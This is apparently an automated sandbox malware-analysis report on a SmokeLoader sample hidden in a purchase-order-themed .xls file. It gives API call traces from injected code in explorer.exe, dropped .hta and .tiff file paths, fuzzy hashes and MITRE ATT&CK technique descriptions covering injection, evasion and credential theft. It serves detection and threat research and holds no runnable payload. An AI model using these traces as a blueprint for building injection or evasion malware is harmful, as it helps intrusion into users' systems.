Opcode ID: ef267b4f75cccad907b9530f99bc2299fdce0451e31b5f1636dbc808011e4daf
Instruction ID: 01f6e81a6ba3fb045b30a4bd0ba53f7463dec2894d89fef1a73f4158b8aeafa4
Opcode Fuzzy Hash: ef267b4f75cccad907b9530f99bc2299fdce0451e31b5f1636dbc808011e4daf
Instruction Fuzzy Hash: 3221C6B66002105FE710AF24EC849FA77DDFFC9725B10052AEC85C7251D776990687A2

Function 000818F4 Relevance: 6.1, APIs: 4, Instructions: 51fileCOMMON

Download Yara Rule

APIs

CreateFileW.KERNEL32(?,80000000,00000003,00000000,00000003,00000080,00000000), ref: 0008190C
GetFileSize.KERNEL32(00000000,00000000), ref: 0008191C
CloseHandle.KERNEL32(00000000), ref: 00081966

Part of subcall function 000829B7: GetProcessHeap.KERNEL32(00000008,00000412,0008257A,000818F4), ref: 000829BA
Part of subcall function 000829B7: RtlAllocateHeap.NTDLL(00000000), ref: 000829C1

ReadFile.KERNEL32(00000000,00000000,00000000,?,00000000), ref: 00081941

Part of subcall function 00081C39: RtlMoveMemory.NTDLL(00000000,-00000040,?), ref: 00081C55

Part of subcall function 00081972: RtlMoveMemory.NTDLL(00000000,-00000040,?), ref: 00081994

Memory Dump Source

Source File: 00000028.00000002.579604844.0000000000081000.00000040.80000000.00040000.00000000.sdmp, Offset: 00081000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_40_2_81000_explorer.jbxd

Similarity

API ID: File$HeapMemoryMove$AllocateCloseCreateHandleProcessReadSize
String ID:
API String ID: 3402831612-0
Opcode ID: 2be5267b56057d24c1f5efdeeaf95091aebe7c739d2765d28efaa2af9e852935
Instruction ID: 92500d04bea994f5137bb789ba7b1fdb9588a09fa389c957eef6f3e76e100f7c
Opcode Fuzzy Hash: 2be5267b56057d24c1f5efdeeaf95091aebe7c739d2765d28efaa2af9e852935
Instruction Fuzzy Hash: EF01D6323002147BE2213A35DC68EEF7A9DFF86BB4F010629F5D6A21D1DA259D069770

Analysis Process: explorer.exePID: 2068, Parent PID: 1244COMMON

Execution Graph

Execution Coverage:	7.7%
Dynamic/Decrypted Code Coverage:	21.1%
Signature Coverage:	0%
Total number of Nodes:	38
Total number of Limit Nodes:	4

Callgraph

Executed
Not Executed
Opacity -> Relevance
Disassembly available

Executed Functions

Function 00061DB0 Relevance: 1.6, APIs: 1, Instructions: 109
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

FindFirstFileW.KERNELBASE ref: 00061E03

Part of subcall function 00061EB4: FindFirstFileW.KERNELBASE ref: 00061F05

Memory Dump Source

Source File: 0000002A.00000002.624648363.0000000000061000.00000040.80000000.00040000.00000000.sdmp, Offset: 00061000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_42_2_61000_explorer.jbxd

Similarity

API ID: FileFindFirst
String ID:
API String ID: 1974802433-0
Opcode ID: f2bddda09024333371eb43016242b53df61dfea823ae35ba426e9e4184a3369c
Instruction ID: 09714fee1153d0c8a0d09558f17c057e038896d471caa2abecd38832798f4051
Opcode Fuzzy Hash: f2bddda09024333371eb43016242b53df61dfea823ae35ba426e9e4184a3369c
Instruction Fuzzy Hash: EB21933021CE084FDB98FB2CA8992E937D2EB98350F44066DF94EC3296DE38D90587C5

Function 00061EB4 Relevance: 1.6, APIs: 1, Instructions: 94
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00061DB0: FindFirstFileW.KERNELBASE ref: 00061E03

FindFirstFileW.KERNELBASE ref: 00061F05

Memory Dump Source

Source File: 0000002A.00000002.624648363.0000000000061000.00000040.80000000.00040000.00000000.sdmp, Offset: 00061000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_42_2_61000_explorer.jbxd

Similarity

API ID: FileFindFirst
String ID:
API String ID: 1974802433-0
Opcode ID: 0e40d73f1c3fb02f90445bbd535556d967509254f5ca54610527c95814f758f5
Instruction ID: f6f10a3c91a1c7be2883bec74a9f7d87337c7723b26a9329405511652b3714a0
Opcode Fuzzy Hash: 0e40d73f1c3fb02f90445bbd535556d967509254f5ca54610527c95814f758f5
Instruction Fuzzy Hash: 5B21447020CB484FDF84FF28A4997E977E2FBA8344F04066DA55AC3292DF38D9448785

Function 00065300 Relevance: 1.6, APIs: 1, Instructions: 71
nativeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

NtUnmapViewOfSection.NTDLL ref: 00065378

Memory Dump Source

Source File: 0000002A.00000002.624648363.0000000000061000.00000040.80000000.00040000.00000000.sdmp, Offset: 00061000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_42_2_61000_explorer.jbxd

Similarity

API ID: SectionUnmapView
String ID:
API String ID: 498011366-0
Opcode ID: a5808401f40c052098661eb7ec96139c2b9ca3f0c031a4bcca73572e40d2a868
Instruction ID: a41e593be866e3ab021910bfc825c372ad5ca9bfff955d7c7ff76e928a4655b8
Opcode Fuzzy Hash: a5808401f40c052098661eb7ec96139c2b9ca3f0c031a4bcca73572e40d2a868
Instruction Fuzzy Hash: 5311C630601D094FEB9DFBB998992B933D6EB14312F54053AE415C73A2EE698B808340

Function 00061D08 Relevance: 6.0, APIs: 4, Instructions: 47
processCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateToolhelp32Snapshot.KERNEL32 ref: 00061D1D
Process32First.KERNEL32 ref: 00061D3C
Process32Next.KERNEL32 ref: 00061D67
CloseHandle.KERNELBASE ref: 00061D74

Memory Dump Source

Source File: 0000002A.00000002.624648363.0000000000061000.00000040.80000000.00040000.00000000.sdmp, Offset: 00061000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_42_2_61000_explorer.jbxd

Similarity

API ID: Process32$CloseCreateFirstHandleNextSnapshotToolhelp32
String ID:
API String ID: 420147892-0
Opcode ID: ae82cc3535c3e538fde35235a4c5f0d33198cca8bd70fb29295229ff6f9da322
Instruction ID: fe06e9a5fd9309b4dc20b59eb16795e60247cbb6a137393a0b42ea9f151a395c
Opcode Fuzzy Hash: ae82cc3535c3e538fde35235a4c5f0d33198cca8bd70fb29295229ff6f9da322
Instruction Fuzzy Hash: 8001FF30208A088FD755EF28D8887EE76E2FBD8315F14462DA15AC61A5DB38D9458B45

Function 0006D748 Relevance: 4.7, APIs: 3, Instructions: 246
memorylibraryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LoadLibraryA.KERNEL32(?,?,?,?,?,?,?,F6171042,?,2EC0275B), ref: 0006D847
VirtualProtect.KERNELBASE(?,?,?,?,?,?,?,-00000003), ref: 0006D8E5
VirtualProtect.KERNELBASE ref: 0006D903

Memory Dump Source

Source File: 0000002A.00000002.624648363.000000000006C000.00000040.80000000.00040000.00000000.sdmp, Offset: 0006C000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_42_2_6c000_explorer.jbxd

Similarity

API ID: ProtectVirtual$LibraryLoad
String ID:
API String ID: 895956442-0
Opcode ID: 95f77aaacabe58910e5c9c5c8887ec348e2c323c674e048d1baf7834c42d2dbf
Instruction ID: fb22e33ff937d24d93fb2efd063ba145730d0834d4eb26fcdd67a2d867c28293
Opcode Fuzzy Hash: 95f77aaacabe58910e5c9c5c8887ec348e2c323c674e048d1baf7834c42d2dbf
Instruction Fuzzy Hash: 23515A32B5891D4FCB24AA3C9CC87F9B7D2F755325B58063BC49AC3285EE58D84683C2

Function 00064914 Relevance: 3.1, APIs: 2, Instructions: 109
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00061D08: CreateToolhelp32Snapshot.KERNEL32 ref: 00061D1D
Part of subcall function 00061D08: Process32First.KERNEL32 ref: 00061D3C
Part of subcall function 00061D08: CloseHandle.KERNELBASE ref: 00061D74

Part of subcall function 00061D08: Process32Next.KERNEL32 ref: 00061D67

SleepEx.KERNELBASE ref: 00064952
SHGetSpecialFolderPathW.SHELL32 ref: 00064971

Part of subcall function 00061EB4: FindFirstFileW.KERNELBASE ref: 00061F05

Memory Dump Source

Source File: 0000002A.00000002.624648363.0000000000061000.00000040.80000000.00040000.00000000.sdmp, Offset: 00061000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_42_2_61000_explorer.jbxd

Similarity

API ID: FirstProcess32$CloseCreateFileFindFolderHandleNextPathSleepSnapshotSpecialToolhelp32
String ID:
API String ID: 3895732408-0
Opcode ID: d94504f5ac59451a2c57a4813436b0da2714d47fc540bee79ff9f433ebcff8c2
Instruction ID: fd7257a88bddf19c1770b39e9a1f92ec56404b8002fce2def5eb906a896e2c11
Opcode Fuzzy Hash: d94504f5ac59451a2c57a4813436b0da2714d47fc540bee79ff9f433ebcff8c2
Instruction Fuzzy Hash: A0317331618A084FDB59FF68E8995EA73E3FB98301B14462EE44BC3262DE34D9458BC1

Function 00061B74 Relevance: 3.0, APIs: 2, Instructions: 40
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

OpenFileMappingA.KERNEL32 ref: 00061B8B
MapViewOfFile.KERNEL32 ref: 00061BAA

Memory Dump Source

Source File: 0000002A.00000002.624648363.0000000000061000.00000040.80000000.00040000.00000000.sdmp, Offset: 00061000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_42_2_61000_explorer.jbxd

Similarity

API ID: File$MappingOpenView
String ID:
API String ID: 3439327939-0
Opcode ID: 91acf1a8eced4a93386cc206dc094dd57211145f7045cabbad6f077073a0bd29
Instruction ID: ddaee3d7e8f9e73a22afb263a5f2562a7b1b5803ba9d96df92eae33d24df65e4
Opcode Fuzzy Hash: 91acf1a8eced4a93386cc206dc094dd57211145f7045cabbad6f077073a0bd29
Instruction Fuzzy Hash: A5F01C35318F094FAB44EF7C9C8C576B7E1EBA8202B048A7EA95AC7165EF74C8818751

Description:	This technique has been deprecated. Please use Command and Scripting Interpreter where appropriate.
Tactics:	Defense Evasion, Execution
Data Sources:
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may exploit software vulnerabilities in client applications to execute code. Vulnerabilities can exist in software due to unsecure coding practices that can lead to unanticipated behavior. Adversaries can take advantage of certain vulnerabilities through targeted exploitation for the purpose of arbitrary code execution. Oftentimes the most valuable exploits to an offensive toolkit are those that can be used to obtain code execution on a remote system because they can be used to gain access to that system. Users will expect to see files related to the applications they commonly used to do work, so they are a useful target for exploit research and development because of their high utility.
Tactics:	Execution
Data Sources:	Application Log: Application Log Content, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system.Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the `Start-Process` cmdlet which can be used to run an executable and the `Invoke-Command` cmdlet which runs a command locally or on a remote computer (though administrator permissions are required to use PowerShell to connect to remote systems).
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify and/or disable security tools to avoid possible detection of their malware/tools and activities. This may take many forms, such as killing security software processes or services, modifying / deleting Registry keys or configuration files so that tools do not operate properly, or other methods to interfere with security tools scanning or reporting information. Adversaries may also disable updates to prevent the latest security patches from reaching tools on victim systems.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Driver: Driver Load, Process: Process Creation, Process: Process Termination, Sensor Health: Host Status, Service: Service Metadata, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Containers, IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may install a root certificate on a compromised system to avoid warnings when connecting to adversary controlled web servers. Root certificates are used in public key cryptography to identify a root certificate authority (CA). When a root certificate is installed, the system or application will trust certificates in the root's chain of trust that have been signed by the root certificate.Certificates are commonly used for establishing secure TLS/SSL communications within a web browser. When a user attempts to browse a website that presents a certificate that is not trusted an error message will be displayed to warn the user of the security risk. Depending on the security settings, the browser may not allow the user to establish a connection to the website.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Process: Process Creation, Windows Registry: Windows Registry Key Creation, Windows Registry: Windows Registry Key Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may set files and directories to be hidden to evade detection mechanisms. To prevent normal users from accidentally changing special files on a system, most operating systems have the concept of a ‘hidden’ file. These files don’t show up when a user browses the file system with a GUI or when using normal commands on the command line. Users must explicitly ask to show the hidden files either via a series of Graphical User Interface (GUI) prompts or with command line switches ( `dir /a` for Windows and `ls –a` for Linux and macOS).
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search the Registry on compromised systems for insecurely stored credentials. The Windows Registry stores configuration information that can be used by the system or other programs. Adversaries may query the Registry looking for credentials and passwords that have been stored for use by other programs or services. Sometimes these credentials are used for automatic logons.
Tactics:	Credential Access
Data Sources:	Command: Command Execution, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report #U3010TW-S PO#U3011PO#3311-20241118003.xls

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Threatname: SmokeLoader

Yara Signatures

Dropped Files

Memory Dumps

Unpacked PEs

Sigma Signatures

System Summary

Data Obfuscation

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Cryptography

Phishing

Compliance

Spreading

Software Vulnerabilities

Networking

Key, Mouse, Clipboard, Microphone and Screen Capturing

System Summary

Data Obfuscation

Persistence and Installation Behavior

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\ModuleAnalysisCache

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\T4O403JZ\bestthingsalwaysgetbesrentirelifethingstogdomybetterthignswithgreat[1].hta

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\XNHC0JWC\seemybestnetworkwhichgivebestthingsentirelifewithme[1].tiff

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.MSO\1023728.emf

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.MSO\1F222F76.emf

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.MSO\51FEBD09.emf

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.MSO\A71C2DA4.emf

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.MSO\BEB7FE65.emf

Windows Analysis Report
#U3010TW-S PO#U3011PO#3311-20241118003.xls

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search local system sources, such as file systems and configuration files or local databases, to find files of interest and sensitive data prior to Exfiltration.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Access, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may target user email to collect sensitive information. Emails may contain sensitive data, including trade secrets or personal information, that can prove valuable to adversaries. Adversaries can collect or forward email from mail servers or clients.
Tactics:	Collection
Data Sources:	Application Log: Application Log Content, Command: Command Execution, File: File Access, Logon Session: Logon Session Creation, Network Traffic: Network Connection Creation
Platforms:	Google Workspace, Linux, macOS, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may collect data stored in the clipboard from users copying information within or between applications.
Tactics:	Collection
Data Sources:	Command: Command Execution, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre